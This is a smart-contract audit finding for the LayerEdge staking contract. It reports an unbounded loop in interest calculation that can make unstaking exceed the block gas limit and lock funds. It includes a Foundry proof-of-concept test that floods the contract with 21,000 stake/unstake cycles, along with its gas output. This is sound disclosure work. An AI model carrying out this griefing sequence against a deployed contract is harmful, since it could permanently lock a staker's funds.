Thankful Chiffon Huskie

High

# Users may not be able to call the unstake function, resulting in a lockup of funds

### Summary

Users may be unable to call the unstake function due to gas exceeding the block limit.
To put it simply, during the process of calling the unstake function, the calculateUnclaimedInterest function is first called to calculate the user's interest. Within the calculateUnclaimedInterest function, there is a loop related to the length of userTierHistory. However, userTierHistory may grow during the stake/unstake processes of other users. Ultimately, this loop may cause the unstake transaction to exceed the block limit.

Regarding the argument of possibility: Due to the mechanism of the protocol, when other users perform stake/unstake operations, the _checkBoundariesAndRecord function is called to update the tier of previous users in real time. After the protocol runs stably, the number of people staking daily might be just a few dozen, with some staking and others unstaking. For those crossaddresses between Tier1 and Tier2, their userTierHistory length will continuously increase due to such stake/unstake activities. If one of these users stakes as a long-term investment and does not perform any operations for a long time (early joined addresses are likely to belong to protocol-related parties, making this more probable), when 21,000 addresses have performed stake/unstake operations (see POC), this user will be unable to unstake their funds.
This possibility is extremely small but still exists, and no one can help this user perform the operation.
There is also the possibility of being attacked by a malicious attacker, but this is extremely unlikely, especially if the crossaddress holds a significant amount of staked funds. Since stake/unstake operations do not charge fees, an attacker could construct a long-term attack on the crossaddress, though it would take a long time due to the waiting period required for unstaking.

This will result in a 100% loss of the user's funds. According to Sherlock's rules: Likelihood is not considered when identifying the severity and the validity of the report. I believe this should be classified as High.

### Root Cause

In the [calculatedUnclaimedInterest](https://github.com/sherlock-audit/2025-05-layeredge/blob/708c5b5345ed50cd0bde7b0a8a548c8936639683/edgen-staking/src/stake/LayerEdgeStaking.sol#L451) function, the loop may exceed the block gas limit, causing the user to be unable to unstake.

### Internal Pre-conditions

none

### External Pre-conditions

1. CrossAddress is not operated for a long time
2. After the protocol runs stably, the crossaddress always remains the same.

### Attack Path

1. User A stakes normally.
2. After the protocol runs stably, other users stake/unstake normally, or malicious attackers stake/unstake.
3. After enough stake/unstake, the user is unable to unstake because the userTierHistory is too long. His funds are locked.

### Impact

Users may not be able to call the unstake function, resulting in the funds being locked. At the same time, the user will not be able to call all other functions, including stake and claimInterest.

### PoC

Because simulating stake/unstake environment requires a lot of gas, you need to add `gas_limit = "18446744073709551615" in the foundry.toml file.

poc: `forge test --mt test_unstake_gas_limit -vvv`
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {LayerEdgeStaking} from "@src/stake/LayerEdgeStaking.sol";
import {LayerEdgeToken} from "@test/mock/LayerEdgeToken.sol";
import {IERC20} from "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {DeployLayerEdgeStaking} from "@script/DeployLayerEdgeStaking.s.sol";
import {NetworkConfig, HelperConfig} from "@script/HelperConfig.s.sol";
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";

contract LayerEdgeStakingTest is Test {
    LayerEdgeStaking public staking;
    LayerEdgeToken public token;
    HelperConfig public helperConfig;
    DeployLayerEdgeStaking public deployer;

    // Test users
    address public admin;
    address public alice = makeAddr("alice");
    address public bob = makeAddr("bob");
    address public charlie = makeAddr("charlie");
    address public david = makeAddr("david");
    address public eve = makeAddr("eve");
    address public frank = makeAddr("frank");
    address public grace = makeAddr("grace");
    address public harry = makeAddr("harry");
    address public ian = makeAddr("ian");
    address public judy = makeAddr("judy");

    // Constants for testing
    uint256 public constant MIN_STAKE = 3000 * 1e18; // Minimum stake amount
    uint256 public constant LARGE_STAKE = 10000 * 1e18; // Larger stake amount for testing
    uint256 public constant PRECISION = 1e18;
    uint256 public constant INITIAL_SUPPLY = 1_000_000_000 * 1e18; // 1B tokens

    function setUp() public {
        deployer = new DeployLayerEdgeStaking();
        (staking, helperConfig) = deployer.run();

        NetworkConfig memory config = helperConfig.getActiveNetworkConfig();

        token = LayerEdgeToken(config.stakingToken);
        admin = config.owner;
        vm.startPrank(admin);

        // Distribute tokens to users
        uint256 userAmount = 100_000 * 1e18; // 100k tokens per test user
        token.transfer(alice, userAmount);
        token.transfer(bob, userAmount);
        token.transfer(charlie, userAmount);
        token.transfer(david, userAmount);
        token.transfer(eve, userAmount);
        token.transfer(frank, userAmount);
        token.transfer(grace, userAmount);
        token.transfer(harry, userAmount);
        token.transfer(ian, userAmount);
        token.transfer(judy, userAmount);

        // Fund staking contract with reward tokens
        uint256 rewardAmount = 100_000 * 1e18; // 100k tokens for rewards
        token.approve(address(staking), rewardAmount);
        staking.depositRewards(rewardAmount);
        staking.setCompoundingStatus(true);
        staking.setMinStakeAmount(MIN_STAKE);
        vm.stopPrank();
    }

    function test_unstake_gas_limit() public {
        setupMultipleStakers(6);

        uint time = block.timestamp;

        for(uint i = 1; i < 21000; i++) {
            vm.prank(admin);
            token.transfer(address(uint160(i)), MIN_STAKE);
            vm.warp(time += 5);

            vm.startPrank(address(uint160(i)));
            token.approve(address(staking), MIN_STAKE);
            staking.stake(MIN_STAKE);

            vm.warp(time += 5);
            staking.unstake(MIN_STAKE);
            vm.stopPrank();
        }

        uint gasbefore = gasleft();
        vm.prank(charlie);
        staking.unstake(MIN_STAKE);
        console2.log("Gas used for unstaking:", gasbefore - gasleft());
    }

    function setupMultipleStakers(uint256 count) internal {
        address[10] memory stakers = [alice, bob, charlie, david, eve, frank, grace, harry, ian, judy];

        for (uint256 i = 0; i < count && i < stakers.length; i++) {
            vm.startPrank(stakers[i]);
            token.approve(address(staking), MIN_STAKE);
            staking.stake(MIN_STAKE);
            vm.stopPrank();
        }
    }
}
```

```diff
[PASS] test_unstake_gas_limit() (gas: 13319413106)
Logs:
  Gas used for unstaking: 300742935

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.83s (8.83s CPU time)
```
300742935 has already exceeded Ethereum's block gas limit.

### Mitigation

_No response_